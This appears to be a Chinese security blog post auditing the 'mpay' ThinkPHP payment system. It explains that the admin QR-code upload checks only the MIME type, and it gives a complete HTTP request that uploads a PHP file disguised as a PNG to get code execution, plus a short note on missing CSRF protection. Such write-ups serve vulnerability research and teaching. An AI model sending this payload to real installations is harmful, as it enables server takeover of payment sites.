点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
项目介绍
环境搭建
代码审计
后台任意文件上传RCE
CSRF
最后
项目介绍
码支付[mpay]是一款便捷收款工具,专注于个人免签收款,通过普通收款码即可实现收款通知自动回调,支持绝大多数商城系统
本程序暂只提供个人版,开源免费使用。 码支付是在源支付的设计思路基础上进行的改进,利用第四方聚合收款码来进行收款,保证收款稳定和便捷。聚合收款码个人可以申请,不需求相关资质,不用申请API接口,收银服务平台众多且实力雄厚(如拉卡拉、收钱吧等),不怕跑路
环境搭建
源码获取见文末
我本地小皮搭建会有问题所以采用宝塔搭建
搭建环境
PHP 8.2
Mysql 5.7
Nginx 1.21
宝塔创建站点,把源码上传上去,运行目录指向Public
创建数据库,编码为utf8mb4
访问http://域名/install进入安装程序
代码审计
基于ThinkPHP8二开的产物,方法集中在app/contriller
我们在全局搜索时主要搜索/Public
和/app/contriller
然后这套系统的权限架构没太搞明白,测试后可以前台访问的文件主要app/controller/
PayController.php中的几个方法,是前台的测试接口,未发现啥利用点所以没关注
后台任意文件上传RCE
搜索关键词upload
只有一处
分析下代码,127-129行是获取我们上传的文件对象,132行定义了应该文件类型白名单,但是MIME检测,没屁用,133行获取我们上传文件的MIME(可伪造),134-136行判断文件MIME是否符合,138行拼接我们上传的文件名,这里我们关注后缀,这里后缀getOriginalExtension(),直接拼接,140-143是创建上传文件目录,145行使用move上传我们拼接的文件,那么整个过程只要MIME检测,存在任意文件上传
对应功能点
测试数据包
POST /api/PayManage/uploadQrcode HTTP/1.1
Host: 192.168.242.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Referer: http://192.168.242.138/PayManage/addChannel?aid=2
Cookie: PHPSESSID=77802fd6271d0d144182ac72afed19c1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryy9RnFXy8pf8kRQg7
Accept-Encoding: gzip, deflate
Origin: http://192.168.242.138
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 805
------WebKitFormBoundaryy9RnFXy8pf8kRQg7
Content-Disposition: form-data; name="codeimg"; filename=" ELOG.php"
Content-Type: image/png
{{unquote("\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x00\x10\x00\x00\x00\x10\x04\x03\x00\x00\x00\xed\xdd\xe2R\x00\x00\x000PLTE\xfc\xfe\xfcS\x12\x28\x1a^/<?php phpinfo();?>\xb9\xb6\xc5\x8d\x17\x29\xa4\xa7P\x0a\x0f\xb4r\x7dX\xac\xa3\xc6\xd7\xd3\xbf\xaaz~\x87\x92\x94i=<\x7fWY4:\xc4L\x86\\\x88\x00\x89X\x00\x00\x00VIDAT\x08\xd7c`@\x02\x1c\x06PF[2\x94\x91\x96\x07el\xaf\x862Xaj\xd8\x03\xa0\x8c\x85\xc2P\x86\xa0\x0c\x84f\x16\x14\x9c\x00fL?\x28\x13\xc9\xc9\xc0\xc0\xa4\xa4\xda\x7b#\xd4e\x01\x90Q\xc0\xc0\xc0\xe5\xe2\x00dl\x00*s\x11`\xe0W\x02\x19\xb7\xd6\x00\xee\x04\x00\x1a\xe5\x0d\x92\xba\xf2\xba\xb3\x00\x00\x00\x00IEND\xaeB`\x82")}}
------WebKitFormBoundaryy9RnFXy8pf8kRQg7--
访问文件
CSRF
全局搜索关键词发现项目未开启CSRF防护
这里随便验证下
最后
[源码获取]微信公众号回复“新款ThinkPHP码支付”获取下载地址
二期公开课《PHP代码审计速成》持续更新中...
直播通知和课件都会在交流群中发布,有需要的师傅可以加我VX,备注:交流群,我拉你进群
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论